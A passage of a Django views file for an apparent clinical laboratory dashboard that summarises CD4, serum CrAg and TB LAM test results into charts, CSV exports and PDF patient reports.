value_vars=['Mean weekly TAT(C-R)', 'Mean weekly TAT(C-D)'],\n var_name=\"TAT type\",\n value_name=\"Weekly mean TAT\"\n )\n\n weekly_tat.reset_index(drop=True, inplace=True)\n\n return weekly_tat, mean_c_r, mean_c_d\n\n\ndef visualize_facility_results_positivity(df, test_type, title):\n if df.shape[0] > 50:\n df_copy = df.head(50)\n title = f\"Top Fifty Facilities with Positive {title} Results. Total facilities {df.shape[0]}\"\n else:\n df_copy = df.copy()\n title = f\"Number of Positive {title} Results by Facility. Total facilities {df.shape[0]}\"\n\n fig = bar_chart(df_copy, \"Facilities\",\n f\"Number of Positive {test_type}\",\n title)\n return fig\n\n\ndef filter_result_type(list_of_projects_fac, column_name):\n rename_column_name = column_name.split(\" \")[0] + \" \" + column_name.split(\" \")[1].upper()\n # Filter the DataFrame for rows where Serum Crag is positive\n positive_crag_df = list_of_projects_fac[list_of_projects_fac[column_name] == 'Positive']\n\n # Group by Facility and count the number of positive serum CRAG results\n facility_positive_count = positive_crag_df.groupby('Facility')[column_name].count().reset_index().fillna(0)\n\n # rename column\n column_name = f'Number of Positive {rename_column_name}'\n\n # Rename the column for clarity\n facility_positive_count.columns = ['Facilities', column_name]\n facility_positive_count = facility_positive_count.sort_values(column_name, ascending=False)\n facility_positive_count = facility_positive_count[facility_positive_count[column_name] != 0]\n return facility_positive_count\n\n\ndef generate_results_df(list_of_projects):\n # convert data from database to a dataframe\n list_of_projects = pd.DataFrame(list_of_projects)\n # Define a dictionary to rename columns\n cols_rename = {\n \"county__county_name\": \"County\", \"sub_county__sub_counties\": \"Sub-county\",\n \"testing_laboratory__testing_lab_name\": \"Testing Laboratory\", \"facility_name__name\": \"Facility\",\n \"facility_name__mfl_code\": \"MFL CODE\", \"patient_unique_no\": \"CCC NO.\", \"age\": \"Age\", \"sex\": \"Sex\",\n \"date_of_collection\": \"Collection Date\", \"date_of_testing\": \"Testing date\",\n \"date_sample_received\": \"Received date\",\n \"date_dispatched\": \"Date Dispatch\",\n \"justification\": \"Justification\", \"cd4_count_results\": \"CD4 Count\",\n \"date_serum_crag_results_entered\": \"Serum CRAG date\",\n \"serum_crag_results\": \"Serum Crag\", \"date_tb_lam_results_entered\": \"TB LAM date\",\n \"tb_lam_results\": \"TB LAM\", \"received_status\": \"Received status\",\n \"reason_for_rejection\": \"Rejection reason\",\n \"tat_days\": \"TAT\", \"age_unit\": \"age_unit\",\n }\n list_of_projects = list_of_projects.rename(columns=cols_rename)\n list_of_projects_fac = list_of_projects.copy()\n\n # Convert Timestamp objects to strings\n list_of_projects_fac = list_of_projects_fac.sort_values('Collection Date').reset_index(drop=True)\n # convert to datetime with UTC\n date_columns=['Testing date','Collection Date','Received date','Date Dispatch']\n list_of_projects_fac[date_columns] = list_of_projects_fac[date_columns].astype(\"datetime64[ns, UTC]\")\n # Convert the dates to user local timezone\n local_timezone = tzlocal.get_localzone()\n # Convert the dates to the local timezone\n list_of_projects_fac['Collection Date'] = list_of_projects_fac['Collection Date'].dt.tz_convert(\n local_timezone)\n list_of_projects_fac['Received date'] = list_of_projects_fac['Received date'].dt.tz_convert(\n local_timezone)\n list_of_projects_fac['Date Dispatch'] = list_of_projects_fac['Date Dispatch'].dt.tz_convert(\n local_timezone)\n list_of_projects_fac['Testing date'] = list_of_projects_fac['Testing date'].dt.tz_convert(\n local_timezone)\n list_of_projects_fac['Testing date'] = pd.to_datetime(list_of_projects_fac['Testing date']).dt.date\n list_of_projects_fac['Received date'] = pd.to_datetime(list_of_projects_fac['Received date']).dt.date\n list_of_projects_fac['Collection Date'] = pd.to_datetime(list_of_projects_fac['Collection Date']).dt.date\n list_of_projects_fac['Date Dispatch'] = pd.to_datetime(list_of_projects_fac['Date Dispatch']).dt.date\n list_of_projects_fac['TB LAM date'] = pd.to_datetime(list_of_projects_fac['TB LAM date']).dt.date\n list_of_projects_fac['Serum CRAG date'] = pd.to_datetime(list_of_projects_fac['Serum CRAG date']).dt.date\n list_of_projects_fac['Collection Date'] = list_of_projects_fac['Collection Date'].astype(str)\n list_of_projects_fac['Testing date'] = list_of_projects_fac['Testing date'].replace(np.datetime64('NaT'),\n '')\n list_of_projects_fac['Testing date'] = list_of_projects_fac['Testing date'].astype(str)\n list_of_projects_fac['Received date'] = list_of_projects_fac['Received date'].replace(np.datetime64('NaT'),\n '')\n list_of_projects_fac['Received date'] = list_of_projects_fac['Received date'].astype(str)\n list_of_projects_fac['Date Dispatch'] = list_of_projects_fac['Date Dispatch'].astype(str)\n list_of_projects_fac['TB LAM date'] = list_of_projects_fac['TB LAM date'].replace(np.datetime64('NaT'), '')\n list_of_projects_fac['TB LAM date'] = list_of_projects_fac['TB LAM date'].astype(str)\n list_of_projects_fac['Serum CRAG date'] = list_of_projects_fac['Serum CRAG date'].replace(\n np.datetime64('NaT'),\n '')\n list_of_projects_fac['Serum CRAG date'] = list_of_projects_fac['Serum CRAG date'].astype(str)\n list_of_projects_fac.index = range(1, len(list_of_projects_fac) + 1)\n max_date = list_of_projects_fac['Collection Date'].max()\n min_date = list_of_projects_fac['Collection Date'].min()\n missing_df = list_of_projects_fac.loc[\n (list_of_projects_fac['CD4 Count'] < 200) & (list_of_projects_fac['Serum Crag'].isna())]\n missing_tb_lam_df = list_of_projects_fac.loc[\n (list_of_projects_fac['CD4 Count'] < 200) & (list_of_projects_fac['TB LAM'].isna())]\n crag_pos_df = list_of_projects_fac.loc[(list_of_projects_fac['Serum Crag'] == \"Positive\")]\n tb_lam_pos_df = list_of_projects_fac.loc[(list_of_projects_fac['TB LAM'] == \"Positive\")]\n rejected_df = list_of_projects_fac.loc[(list_of_projects_fac['Received status'] == \"Rejected\")]\n\n # Create the summary dataframe\n summary_df = pd.DataFrame({\n 'Total CD4': [list_of_projects_fac.shape[0]],\n 'Rejected': [(list_of_projects_fac['Received status'] == 'Rejected').sum()],\n 'CD4 >200': [(list_of_projects_fac['CD4 Count'] > 200).sum()],\n 'CD4 <= 200': [(list_of_projects_fac['CD4 Count'] <= 200).sum()],\n 'TB-LAM': [list_of_projects_fac['TB LAM'].notna().sum()],\n '-ve TB-LAM': [(list_of_projects_fac['TB LAM'] == 'Negative').sum()],\n '+ve TB-LAM': [(list_of_projects_fac['TB LAM'] == 'Positive').sum()],\n 'Missing TB LAM': [\n (list_of_projects_fac.loc[list_of_projects_fac['CD4 Count'] < 200, 'TB LAM'].isna()).sum()],\n 'CRAG': [list_of_projects_fac['Serum Crag'].notna().sum()],\n '-ve CRAG': [(list_of_projects_fac['Serum Crag'] == 'Negative').sum()],\n '+ve CRAG': [(list_of_projects_fac['Serum Crag'] == 'Positive').sum()],\n 'Missing CRAG': [\n (list_of_projects_fac.loc[list_of_projects_fac['CD4 Count'] < 200, 'Serum Crag'].isna()).sum()],\n })\n\n # Display the summary dataframe\n summary_df = summary_df.T.reset_index()\n summary_df.columns = ['variables', 'values']\n summary_df = summary_df[summary_df['values'] != 0]\n ###################################\n # CD4 SUMMARY CHART\n ###################################\n cd4_summary_fig = bar_chart(summary_df, \"variables\", \"values\",\n f\"Summary of CD4 Records and Serum CrAg Results Between {min_date} and {max_date} \")\n\n # Group the data by testing laboratory and calculate the counts\n summary_df = list_of_projects_fac.groupby('Testing Laboratory').agg({\n 'CD4 Count': 'count',\n 'Serum Crag': lambda x: x.count() if x.notnull().any() else 0\n }).reset_index()\n\n # Rename the columns\n summary_df.rename(columns={'CD4 Count': 'Total CD4 Count', 'Serum Crag': 'Total CRAG Reports'},\n inplace=True)\n\n # Sort the dataframe by testing laboratory name\n summary_df.sort_values('Testing Laboratory', inplace=True)\n\n # Reset the index\n summary_df.reset_index(drop=True, inplace=True)\n\n summary_df = pd.melt(summary_df, id_vars=\"Testing Laboratory\",\n value_vars=['Total CD4 Count', 'Total CRAG Reports'],\n var_name=\"Test done\", value_name='values')\n show_cd4_testing_workload = False\n show_crag_testing_workload = False\n cd4_df = summary_df[summary_df['Test done'] == \"Total CD4 Count\"].sort_values(\"values\").fillna(0)\n cd4_df = cd4_df[cd4_df['values'] != 0]\n if not cd4_df.empty:\n show_cd4_testing_workload = True\n crag_df = summary_df[summary_df['Test done'] == \"Total CRAG Reports\"].sort_values(\"values\").fillna(0)\n crag_df = crag_df[crag_df['values'] != 0]\n if not crag_df.empty:\n show_crag_testing_workload = True\n ###################################\n # CRAG TESTING SUMMARY CHART\n ###################################\n crag_testing_lab_fig = bar_chart(crag_df, \"Testing Laboratory\", \"values\",\n f\"Number of sCrAg Reports Processed per Testing Laboratory ({crag_df.shape[0]}).\")\n ###################################\n # CD4 TESTING SUMMARY CHART\n ###################################\n cd4_testing_lab_fig = bar_chart(cd4_df, \"Testing Laboratory\", \"values\",\n f\"Number of CD4 Reports Processed per Testing Laboratory ({cd4_df.shape[0]})\")\n\n age_bins = [0, 1, 4, 9, 14, 19, 24, 29, 34, 39, 44, 49, 54, 59, 64, 150]\n age_labels = ['<1', '1-4.', '5-9', '10-14.', '15-19', '20-24', '25-29', '30-34', '35-39', '40-44', '45-49',\n '50-54', '55-59', '60-64', '65+']\n\n list_of_projects_fac_above1age_sex = list_of_projects_fac[list_of_projects_fac['age_unit'] == \"years\"]\n list_of_projects_fac_below1age_sex = list_of_projects_fac[list_of_projects_fac['age_unit'] != \"years\"]\n\n list_of_projects_fac_below1age_sex['Age Group'] = \"<1\"\n list_of_projects_fac_above1age_sex['Age Group'] = pd.cut(list_of_projects_fac_above1age_sex['Age'],\n bins=age_bins, labels=age_labels)\n\n list_of_projects_fac = pd.concat([list_of_projects_fac_above1age_sex, list_of_projects_fac_below1age_sex])\n\n age_sex_df = list_of_projects_fac.groupby(['Age Group', 'Sex']).size().unstack().reset_index()\n return age_sex_df, cd4_summary_fig, crag_testing_lab_fig, cd4_testing_lab_fig, rejected_df, tb_lam_pos_df, \\\n crag_pos_df, missing_tb_lam_df, missing_df, list_of_projects_fac, show_cd4_testing_workload, show_crag_testing_workload\n\ndef download_csv(request, filter_type):\n # Get the serialized filtered data from the session\n filtered_data_json = request.session.get('filtered_queryset')\n\n # Deserialize the JSON data and reconstruct the queryset\n filtered_data = serializers.deserialize('json', filtered_data_json)\n queryset = [item.object for item in filtered_data]\n\n # Perform filtering based on 'filter_type'\n if filter_type == 'all':\n pass # No need to filter further for 'all'\n elif filter_type == 'rejected':\n queryset = [item for item in queryset if item.received_status == 'Rejected']\n elif filter_type == 'positive_tb_lam':\n queryset = [item for item in queryset if item.tb_lam_results == 'Positive']\n elif filter_type == 'positive_crag':\n queryset = [item for item in queryset if item.serum_crag_results == 'Positive']\n elif filter_type == 'missing_crag':\n queryset = [item for item in queryset if\n item.cd4_count_results is not None and item.cd4_count_results <= 200 and item.serum_crag_results is None]\n elif filter_type == 'missing_tb_lam':\n queryset = [item for item in queryset if\n item.cd4_count_results is not None and item.cd4_count_results <= 200 and item.tb_lam_results is None]\n else:\n # Handle invalid filter_type or other conditions as needed\n queryset = []\n\n # Create a CSV response\n response = HttpResponse(content_type='text/csv')\n response['Content-Disposition'] = f'attachment; filename=\"{filter_type}_records.csv\"'\n\n # Create a CSV writer and write the header row\n writer = csv.writer(response)\n header = [\"Patient Unique No.\", \"Facility Name\", \"Age\", \"Age Unit\", \"Sex\",\n \"Date of Collection\", \"Date of Receipt\", \"Date of Testing\", \"Dispatch Date\", \"CD4 Count\",\n \"TB LAM Results\", \"Serum CRAG Results\", \"Justification\", \"Received Status\", \"Reason for Rejection\",\n \"Reason for No Serum CRAG\", \"Testing Laboratory\"]\n writer.writerow(header)\n\n # Write data rows based on the filtered queryset\n for record in queryset:\n data_row = [\n record.patient_unique_no,\n record.facility_name.name if record.facility_name else '',\n record.age,\n record.get_age_unit_display(),\n record.get_sex_display(),\n record.date_of_collection if record.date_of_collection else '',\n record.date_sample_received if record.date_sample_received else '',\n record.date_of_testing if record.date_of_testing else '',\n record.date_dispatched if record.date_dispatched else '',\n record.cd4_count_results if record.cd4_count_results else '',\n record.tb_lam_results if record.tb_lam_results else '',\n record.serum_crag_results if record.serum_crag_results else '',\n record.justification if record.justification else '',\n record.get_received_status_display(),\n record.reason_for_rejection if record.reason_for_rejection else '',\n record.reason_for_no_serum_crag if record.reason_for_no_serum_crag else '',\n record.testing_laboratory.testing_lab_name if record.testing_laboratory else '',\n\n ]\n writer.writerow(data_row)\n\n return response\n\n\n@login_required(login_url='login')\n@group_required(\n ['project_technical_staffs', 'subcounty_staffs_labpulse', 'laboratory_staffs_labpulse', 'facility_staffs_labpulse'\n , 'referring_laboratory_staffs_labpulse'])\ndef show_results(request):\n if not request.user.first_name:\n return redirect(\"profile\")\n if request.method == \"GET\":\n request.session['page_from'] = request.META.get('HTTP_REFERER', '/')\n # record_count = int(request.GET.get('record_count', 10)) # Get the selected record count (default: 10)\n record_count = request.GET.get('record_count', '5')\n if record_count == 'all':\n record_count = 'all' # Preserve the 'all' value if selected\n else:\n record_count = int(record_count) # Convert to integer if a specific value is selected\n else:\n record_count = 100 # Default record count if no selection is made\n cd4_summary_fig = None\n cd4_testing_lab_fig = None\n crag_testing_lab_fig = None\n weekly_tat_trend_fig = None\n facility_tb_lam_positive_fig = None\n weekly_trend_fig = None\n age_distribution_fig = None\n rejection_summary_fig = None\n justification_summary_fig = None\n crag_positivity_fig = None\n tb_lam_positivity_fig = None\n facility_crag_positive_fig = None\n list_of_projects_fac = pd.DataFrame()\n crag_pos_df = pd.DataFrame()\n tb_lam_pos_df = pd.DataFrame()\n weekly_df = pd.DataFrame()\n missing_df = pd.DataFrame()\n missing_tb_lam_df = pd.DataFrame()\n rejected_df = pd.DataFrame()\n rejection_summary_df = pd.DataFrame()\n justification_summary_df = pd.DataFrame()\n show_cd4_testing_workload = False\n show_crag_testing_workload = False\n crag_positivity_df = pd.DataFrame()\n tb_lam_positivity_df = pd.DataFrame()\n facility_positive_count = pd.DataFrame()\n\n cd4traker_qs = Cd4traker.objects.all().order_by('-date_dispatched')\n # Calculate TAT in days and annotate it in the queryset\n queryset = cd4traker_qs.annotate(\n tat_days=ExpressionWrapper(\n Extract(F('date_dispatched') - F('date_of_collection'), 'day'),\n output_field=IntegerField()\n )\n )\n my_filters = Cd4trakerFilter(request.GET, queryset=queryset)\n try:\n if \"filtered_queryset\" in request.session:\n del request.session['filtered_queryset']\n\n # Serialize the filtered queryset to JSON and store it in the session\n filtered_data_json = serializers.serialize('json', my_filters.qs)\n request.session['filtered_queryset'] = filtered_data_json\n except KeyError:\n # Handles the case where the session key doesn't exist\n pass\n\n record_count_options = [(str(i), str(i)) for i in [5, 10, 20, 30, 40, 50]] + [(\"all\", \"All\"), ]\n\n qi_list = pagination_(request, my_filters.qs, record_count)\n\n # Check if there records exists in filtered queryset\n rejected_samples_exist = my_filters.qs.filter(received_status=\"Rejected\").exists()\n tb_lam_pos_samples_exist = my_filters.qs.filter(tb_lam_results=\"Positive\").exists()\n crag_pos_samples_exist = my_filters.qs.filter(serum_crag_results=\"Positive\").exists()\n missing_crag_samples_exist = my_filters.qs.filter(cd4_count_results__isnull=False,\n cd4_count_results__lte=200,\n serum_crag_results__isnull=True\n ).exists()\n missing_tb_lam_samples_exist = my_filters.qs.filter(cd4_count_results__isnull=False,\n cd4_count_results__lte=200,\n tb_lam_results__isnull=True\n ).exists()\n\n ######################\n # Hide update button #\n ######################\n if qi_list:\n disable_update_buttons(request, qi_list, 'date_dispatched')\n if my_filters.qs:\n # fields to extract\n fields = ['county__county_name', 'sub_county__sub_counties', 'testing_laboratory__testing_lab_name',\n 'facility_name__name', 'facility_name__mfl_code', 'patient_unique_no', 'age', 'sex',\n 'date_of_collection', 'date_of_testing', 'date_sample_received', 'date_dispatched', 'justification',\n 'cd4_count_results',\n 'date_serum_crag_results_entered', 'serum_crag_results', 'date_tb_lam_results_entered',\n 'tb_lam_results', 'received_status', 'reason_for_rejection', 'tat_days', 'age_unit']\n\n # Extract the data from the queryset using values()\n data = my_filters.qs.values(*fields)\n\n age_sex_df, cd4_summary_fig, crag_testing_lab_fig, cd4_testing_lab_fig, rejected_df, tb_lam_pos_df, \\\n crag_pos_df, missing_tb_lam_df, missing_df, list_of_projects_fac, show_cd4_testing_workload,\\\n show_crag_testing_workload = generate_results_df(data)\n ###################################\n # AGE AND SEX CHART\n ###################################\n age_sex_df = pd.melt(age_sex_df, id_vars=\"Age Group\",\n value_vars=list(age_sex_df.columns[1:]),\n var_name=\"Sex\", value_name='# of sample processed')\n\n age_distribution_fig = bar_chart(age_sex_df, \"Age Group\", \"# of sample processed\",\n \"CD4 Count Distribution By Age Band and Sex\", color=\"Sex\")\n if \"Age Group\" in list_of_projects_fac.columns:\n del list_of_projects_fac['Age Group']\n\n ###################################\n # REJECTED SAMPLES\n ###################################\n rejection_summary_fig, rejection_summary_df = create_summary_chart(list_of_projects_fac, 'Rejection reason',\n 'Reasons for Sample Rejection')\n\n ###################################\n # Justification\n ###################################\n justification_summary_fig, justification_summary_df = create_summary_chart(\n list_of_projects_fac, 'Justification', 'Justification Summary')\n\n ###########################\n # SERUM CRAG POSITIVITY\n ###########################\n crag_positivity_fig, crag_positivity_df = calculate_positivity_rate(list_of_projects_fac, 'Serum Crag',\n \"Serum CrAg\")\n ###############################\n # FACILITY WITH POSITIVE CRAG #\n ###############################\n facility_positive_count = filter_result_type(list_of_projects_fac, \"Serum Crag\")\n\n facility_crag_positive_fig = visualize_facility_results_positivity(facility_positive_count, \"Serum CRAG\",\n \"Serum CrAg\")\n #################################\n # FACILITY WITH POSITIVE TB LAM #\n #################################\n facility_positive_count = filter_result_type(list_of_projects_fac, \"TB LAM\")\n facility_tb_lam_positive_fig = visualize_facility_results_positivity(facility_positive_count, \"TB LAM\",\n \"TB LAM\")\n ###########################\n # TB LAM POSITIVITY\n ###########################\n tb_lam_positivity_fig, tb_lam_positivity_df = calculate_positivity_rate(list_of_projects_fac, 'TB LAM',\n \"TB LAM\")\n ###################################\n # Weekly Trend viz\n ###################################\n df_weekly = list_of_projects_fac.copy()\n df_weekly['Collection Date'] = pd.to_datetime(df_weekly['Collection Date'], format='%Y-%m-%d')\n\n df_weekly['week_start'] = df_weekly['Collection Date'].dt.to_period('W').dt.start_time\n weekly_df = df_weekly.groupby('week_start').size().reset_index(name='# of samples processed')\n weekly_df['Weekly Trend'] = weekly_df[\"week_start\"].astype(str) + \".\"\n weekly_trend = weekly_df['# of samples processed'].sum()\n if weekly_df.shape[0] > 1:\n weekly_trend_fig = line_chart_median_mean(weekly_df, \"Weekly Trend\", \"# of samples processed\",\n f\"Weekly Trend CD4 Samples Processing N={weekly_trend}\"\n f\" Maximum # CD4 counts : {max(weekly_df['# of samples processed'])}\")\n\n weekly_df['week_start'] = pd.to_datetime(weekly_df['week_start']).dt.date\n weekly_df['week_start'] = weekly_df['week_start'].replace(np.datetime64('NaT'), '')\n weekly_df['week_start'] = weekly_df['week_start'].astype(str)\n\n ###################################\n # Weekly TAT Trend viz\n ###################################\n melted_tat_df, mean_c_r, mean_c_d = calculate_weekly_tat(list_of_projects_fac.copy())\n if melted_tat_df.shape[0] > 1:\n melted_tat_df = melted_tat_df.head(52)\n weekly_tat_trend_fig = line_chart_median_mean(melted_tat_df, \"Weekly Trend\", \"Weekly mean TAT\",\n f\"Weekly Collection to Dispatch vs Collection to Receipt Mean \"\n f\"TAT Trend (C-D TAT = {mean_c_d}, C-R TAT = {mean_c_r})\",\n color=\"TAT type\"\n )\n try:\n if \"list_of_projects_fac\" in request.session:\n del request.session['list_of_projects_fac']\n request.session['list_of_projects_fac'] = list_of_projects_fac.to_dict()\n except KeyError:\n # Handle the case where the session key doesn't exist\n pass\n\n dataframes = [\n (missing_df, 'missing_df'),\n (missing_tb_lam_df, 'missing_tb_lam_df'),\n (justification_summary_df, 'justification_summary_df'),\n (tb_lam_pos_df, 'tb_lam_pos_df'),\n (weekly_df, 'weekly_df'),\n (crag_pos_df, 'crag_pos_df'),\n (rejected_df, 'rejected_df')\n ]\n\n for df, session_key in dataframes:\n if df.shape[0] > 0:\n request.session[session_key] = df.to_dict()\n else:\n if session_key in request.session:\n del request.session[session_key]\n\n # Convert dict_items into a list\n dictionary = get_key_from_session_names(request)\n context = {\n \"title\": \"Results\", \"record_count_options\": record_count_options,\"record_count\": record_count,\n \"rejected_samples_exist\": rejected_samples_exist,\"tb_lam_pos_samples_exist\": tb_lam_pos_samples_exist,\n \"crag_pos_samples_exist\": crag_pos_samples_exist,\"missing_crag_samples_exist\": missing_crag_samples_exist,\n \"missing_tb_lam_samples_exist\": missing_tb_lam_samples_exist,\"dictionary\": dictionary,\"my_filters\": my_filters,\n \"qi_list\": qi_list,\"cd4_summary_fig\": cd4_summary_fig,\"crag_testing_lab_fig\": crag_testing_lab_fig,\n \"weekly_trend_fig\": weekly_trend_fig,\"cd4_testing_lab_fig\": cd4_testing_lab_fig,\n \"age_distribution_fig\": age_distribution_fig,\"rejection_summary_fig\": rejection_summary_fig,\n \"justification_summary_fig\": justification_summary_fig,\"crag_positivity_fig\": crag_positivity_fig,\n \"justification_summary_df\": justification_summary_df,\"facility_crag_positive_fig\": facility_crag_positive_fig,\n \"rejection_summary_df\": rejection_summary_df,\"show_cd4_testing_workload\": show_cd4_testing_workload ,\n \"show_crag_testing_workload\": show_crag_testing_workload,\"crag_positivity_df\": crag_positivity_df,\n \"facility_positive_count\": facility_positive_count,\"tb_lam_positivity_fig\": tb_lam_positivity_fig,\n \"tb_lam_positivity_df\": tb_lam_positivity_df, \"weekly_df\": weekly_df,\n \"weekly_tat_trend_fig\": weekly_tat_trend_fig,\"facility_tb_lam_positive_fig\": facility_tb_lam_positive_fig\n }\n return render(request, 'lab_pulse/show results.html', context)\n\n\ndef generate_report(request, pdf, name, mfl_code, date_collection, date_testing, date_dispatch, unique_no, age,\n cd4_count, crag, sex, reason_for_rejection, testing_laboratory, tb_lam_results, tat, y):\n # Change page size if needed\n if y < 0:\n pdf.showPage()\n y = 680 # Reset y value for the new page\n pdf.translate(inch, inch)\n\n pdf.setFont(\"Courier-Bold\", 18)\n # Write the facility name in the top left corner of the page\n pdf.drawString(180, y + 10, \"CD4 COUNT REPORT\")\n pdf.setDash(1, 0) # Reset the line style\n pdf.line(x1=10, y1=y, x2=500, y2=y)\n # Facility info\n pdf.setFont(\"Helvetica\", 12)\n pdf.drawString(10, y - 20, f\"Facility: {name}\")\n pdf.drawString(10, y - 40, f\"MFL Code: {mfl_code}\")\n pdf.drawString(10, y - 60, f\"Sex: {sex}\")\n\n y -= 140\n # Rectangles\n pdf.rect(x=10, y=y, width=490, height=70, stroke=1, fill=0)\n pdf.rect(x=10, y=y, width=70, height=70, stroke=1, fill=0)\n pdf.rect(x=10, y=y, width=135, height=70, stroke=1, fill=0)\n pdf.rect(x=10, y=y, width=210, height=70, stroke=1, fill=0)\n pdf.rect(x=10, y=y, width=280, height=70, stroke=1, fill=0)\n pdf.rect(x=10, y=y, width=350, height=70, stroke=1, fill=0)\n pdf.rect(x=10, y=y, width=420, height=70, stroke=1, fill=0)\n\n pdf.rect(x=10, y=y, width=490, height=50, stroke=1, fill=0)\n pdf.setFont(\"Helvetica-Bold\", 7)\n\n y_position = y + 53\n pdf.drawString(12, y_position, \"Patient Unique No.\")\n pdf.drawString(110, y_position, \"Age\")\n pdf.drawString(165, y_position, \"CD4 COUNT\")\n pdf.drawString(235, y_position, \"SERUM CRAG\")\n pdf.drawString(305, y_position, \"Collection Date\")\n pdf.drawString(375, y_position, \"Testing Date\")\n pdf.drawString(435, y_position, \"Dispatch Date\")\n\n pdf.setFont(\"Helvetica\", 7)\n y_position = y + 24\n pdf.drawString(110, y_position, f\"{age}\")\n if math.isnan(cd4_count):\n # If cd4_count is NaN, display \"Rejected\" in bold red font\n pdf.setFont(\"Helvetica-Bold\", 7)\n pdf.setFillColor(colors.red)\n pdf.drawString(165, y_position, \"Rejected\")\n pdf.setFont(\"Helvetica\", 3)\n pdf.drawString(145, y_position - 10, f\"(Reason: {reason_for_rejection})\")\n elif int(cd4_count) <= 200:\n # If cd4_count is <= 200, display cd4_count in bold font\n pdf.setFont(\"Helvetica-Bold\", 7)\n pdf.drawString(165, y_position, str(int(cd4_count)))\n else:\n # For cd4_count > 200, display cd4_count in regular font\n pdf.setFont(\"Helvetica\", 7)\n pdf.drawString(165, y_position, str(int(cd4_count)))\n\n pdf.setFont(\"Helvetica\", 7)\n\n if crag is not None and \"pos\" in crag.lower() or (crag is None and cd4_count <= 200):\n # If crag is not None and contains \"pos\" or if crag is None and cd4_count <= 200,\n # display \"Missing\" or crag value in bold red font\n pdf.setFont(\"Helvetica-Bold\", 7)\n pdf.setFillColor(colors.red)\n pdf.drawString(235, y_position, \"Missing\" if crag is None else crag)\n else:\n # For other cases, display crag value in regular font\n pdf.setFont(\"Helvetica\", 7)\n pdf.drawString(235, y_position, \"\" if crag is None else crag)\n\n if tb_lam_results is not None and \"pos\" in tb_lam_results.lower() or (tb_lam_results is None and cd4_count <= 200):\n # If tb_lam_results is not None and contains \"pos\" or if tb_lam_results is None and cd4_count <= 200,\n # display \"TB LAM : Missing\" or \"TB LAM : tb_lam_results\" in bold red font\n pdf.setFont(\"Helvetica-Bold\", 7)\n pdf.setFillColor(colors.red)\n pdf.drawString(225, y_position - 15,\n \"TB LAM : Missing\" if tb_lam_results is None else f\"TB LAM : {tb_lam_results}\")\n else:\n # For other cases, display \"TB LAM : tb_lam_results\" in regular font\n pdf.setFont(\"Helvetica\", 7)\n pdf.setFillColor(colors.black)\n pdf.drawString(225, y_position - 15, \"\" if tb_lam_results is None else f\"TB LAM : {tb_lam_results}\")\n\n pdf.setFont(\"Helvetica\", 7)\n pdf.setFillColor(colors.black)\n pdf.drawString(305, y_position, f\"{date_collection}\")\n pdf.drawString(375, y_position, f\"{date_testing}\")\n pdf.drawString(435, y_position, f\"{date_dispatch}\")\n pdf.setFont(\"Helvetica-Bold\", 3)\n pdf.drawString(432, y_position - 10, f\"Collection to Dispatch TAT: {tat} Days\")\n pdf.setFont(\"Helvetica\", 7)\n\n pdf.drawString(22, y_position, f\"{unique_no}\")\n y -= 50\n\n pdf.setFont(\"Helvetica\", 4)\n pdf.setFillColor(colors.grey)\n pdf.drawString((letter[0] / 10), y + 0.2 * inch,\n f\"Testing laboratory : {testing_laboratory}\")\n if y > 30:\n pdf.setDash(1, 2) # Reset the line style\n pdf.line(x1=10, y1=y, x2=500, y2=y)\n pdf.setFont(\"Helvetica\", 4)\n pdf.setFillColor(colors.grey)\n pdf.drawString((letter[0] / 3) + 30, y + 0.2 * inch,\n f\"Report generated by: {request.user} Time: {datetime.now()}\")\n else:\n pdf.setFont(\"Helvetica\", 4)\n pdf.setFillColor(colors.grey)\n pdf.drawString((letter[0] / 3) + 30, y + 0.2 * inch,\n f\"Report generated by: {request.user} Time: {datetime.now()}\")\n\n pdf.setFont(\"Helvetica\", 7)\n pdf.setFillColor(colors.black)\n\n # Add some space for the next report\n y -= 50\n\n return y\n\n\nclass GeneratePDF(View):\n def get(self, request):\n if request.user.is_authenticated and not request.user.first_name:\n return redirect(\"profile\")\n\n # Retrieve the serialized DataFrame from the session\n list_of_projects_fac_dict = request.session.get('list_of_projects_fac', {})\n\n # Convert the dictionary back to a DataFrame\n list_of_projects_fac = pd.DataFrame.from_dict(list_of_projects_fac_dict)\n\n # Create a new PDF object using ReportLab\n response = HttpResponse(content_type='application/pdf')\n response['Content-Disposition'] = f'filename=\"CD4 Count Report.pdf\"'\n pdf = canvas.Canvas(response, pagesize=letter)\n\n y = 680\n\n # Create a PDF canvas\n pdf.translate(inch, inch)\n client_timezone = timezone.get_current_timezone()\n\n # Generate reports\n for index, data in list_of_projects_fac.iterrows():\n name = data['Facility']\n mfl_code = data['MFL CODE']\n date_collection = data['Collection Date']\n date_testing = data['Testing date']\n date_dispatch = data['Date Dispatch']\n unique_no = data['CCC NO.']\n age = data['Age']\n sex = data['Sex']\n cd4_count = data['CD4 Count']\n crag = data['Serum Crag']\n reason_for_rejection = data['Rejection reason']\n testing_laboratory = data['Testing Laboratory']\n tb_lam_results = data['TB LAM']\n tat = data['TAT']\n y = generate_report(request, pdf, name, mfl_code, date_collection, date_testing, date_dispatch,\n unique_no, age, cd4_count, crag, sex, reason_for_rejection, testing_laboratory,\n tb_lam_results, tat, y)\n\n pdf.save()\n return response\n\n\n@login_required(login_url='login')\n@group_required(['laboratory_staffs_labpulse'])\ndef add_testing_lab(request):\n if not request.user.first_name:\n return redirect(\"profile\")\n if request.method == \"GET\":\n request.session['page_from'] = request.META.get('HTTP_REFERER', '/')\n\n testing_labs = Cd4TestingLabs.objects.all()\n if testing_labs:\n disable_update_buttons(request, testing_labs, 'date_created')\n\n form = Cd4TestingLabForm(request.POST or None)\n if form.is_valid():\n testing_lab_name = form.cleaned_data['testing_lab_name']\n\n # Check for duplicate testing_lab_name (case-insensitive)\n # existing_lab = Cd4TestingLabs.objects.annotate(lower_name=Lower('testing_lab_name')).filter(\n # lower_name=testing_lab_name.lower())\n existing_lab = Cd4TestingLabs.objects.filter(testing_lab_name__iexact=testing_lab_name)\n if existing_lab.exists():\n form.add_error('testing_lab_name', 'A CD4 Testing Lab with this name already exists.')\n else:\n form.save()\n messages.error(request, \"Record saved successfully!\")\n return redirect(\"choose_testing_lab\")\n context = {\n \"form\": form,\n \"title\": f\"Add CD4 Testing Lab\",\n \"testing_labs\": testing_labs,\n }\n return render(request, 'lab_pulse/add_cd4_data.html', context)\n\n\n@login_required(login_url='login')\n@group_required(['laboratory_staffs_labpulse'])\ndef update_testing_labs(request, pk):\n if not request.user.first_name:\n return redirect(\"profile\")\n if request.method == \"GET\":\n request.session['page_from'] = request.META.get('HTTP_REFERER', '/')\n item = Cd4TestingLabs.objects.get(id=pk)\n if request.method == \"POST\":\n form = 